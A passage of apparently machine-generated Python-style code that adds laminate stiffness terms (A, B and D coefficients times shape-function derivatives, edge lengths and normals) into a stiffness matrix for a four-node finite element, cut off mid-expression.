B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+0, i4*dof+4] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+1, i1*dof+0] += Ac*((A12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+1, i1*dof+1] += Ac*((A22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+1, i1*dof+3] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+1, i1*dof+4] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+1, i2*dof+0] += Ac*((A12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+1, i2*dof+1] += Ac*((A22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+1, i2*dof+3] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+1, i2*dof+4] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+1, i3*dof+0] += Ac*((A12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+1, i3*dof+1] += Ac*((A22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+1, i3*dof+3] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+1, i3*dof+4] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+1, i4*dof+0] += Ac*((A12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+1, i4*dof+1] += Ac*((A22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + A66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+1, i4*dof+3] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+1, i4*dof+4] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+3, i1*dof+0] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+3, i1*dof+1] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+3, i1*dof+3] += Ac*((D11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+3, i1*dof+4] += Ac*((D12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+3, i2*dof+0] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+3, i2*dof+1] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+3, i2*dof+3] += Ac*((D11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+3, i2*dof+4] += Ac*((D12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+3, i3*dof+0] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+3, i3*dof+1] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+3, i3*dof+3] += Ac*((D11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+3, i3*dof+4] += Ac*((D12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+3, i4*dof+0] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+3, i4*dof+1] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+3, i4*dof+3] += Ac*((D11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+3, i4*dof+4] += Ac*((D12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + D66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+4, i1*dof+0] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+4, i1*dof+1] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+4, i1*dof+3] += Ac*((D12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+4, i1*dof+4] += Ac*((D22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+4, i2*dof+0] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+4, i2*dof+1] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+4, i2*dof+3] += Ac*((D12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+4, i2*dof+4] += Ac*((D22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+4, i3*dof+0] += Ac*((B12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+4, i3*dof+1] += Ac*((B22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + B66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+4, i3*dof+3] += Ac*((D12*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D66*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+4, i3*dof+4] += Ac*((D22*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + D26*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D26*(f12*le1*ny1 + 